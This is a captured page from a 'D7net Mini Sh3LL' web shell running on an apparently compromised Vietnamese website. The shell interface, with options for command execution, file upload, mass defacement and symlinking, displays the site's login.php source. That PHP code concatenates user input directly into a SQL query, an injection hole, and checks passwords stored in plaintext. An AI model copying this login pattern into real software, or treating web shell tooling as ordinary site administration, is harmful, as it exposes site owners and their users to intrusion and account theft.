D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/include/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/include/login.php
<div id="direct"><a href="index.php">Trang chủ</a> <span>></span> Đăng nhập</div>
<div id="register">
	<h1 align="center">Đăng nhập</h1>
	<form method="POST">
		<table>
			<tr>
				<td><input type="text" name="mail" placeholder="E-mail"></td>
			</tr>
			<tr>
				<td><input type="password" name="pass" placeholder="Mật khẩu"></td>
			</tr>
			<tr>
				<td><button type="submit" name="login">ĐĂNG NHẬP</button></td>
			</tr>
		</table>
	</form>
<?php
if(isset($_POST['login'])){
	if(empty($_POST['mail'])){
		$errors[]="Vui lòng nhập email";
	}
	if(empty($_POST['pass'])){
		$errors[]="Vui lòng nhập mật khẩu";
	}
	if(empty($errors)){
		$stmt=$conn->prepare("SELECT * FROM member WHERE user='".$_POST['mail']."'");
		$stmt->execute();
		$user=$stmt->fetch(PDO::FETCH_ASSOC);
		if($user['pass']==$_POST['pass']){
			if($user['del']==0){
				$_SESSION['id']=$user['id'];
				$_SESSION['mail']=$_POST['mail'];
				$_SESSION['user']=$_POST['mail'];
				$_SESSION['level']=$user['type'];
				$_SESSION['name']=$user['name'];
				$_SESSION['phone']=$user['phone'];
				success("Đăng nhập");
			}else{
				$errors[]="Tài khoản đang bị khóa";notice($errors);
			}
		}else{
			$errors[]="Sai tên tài khoản hoặc mật khẩu";
			notice($errors);
		}
	}else{
		notice($errors);
	}
}

?>	
</div>

AnonSec - 2021 | Recode By D7net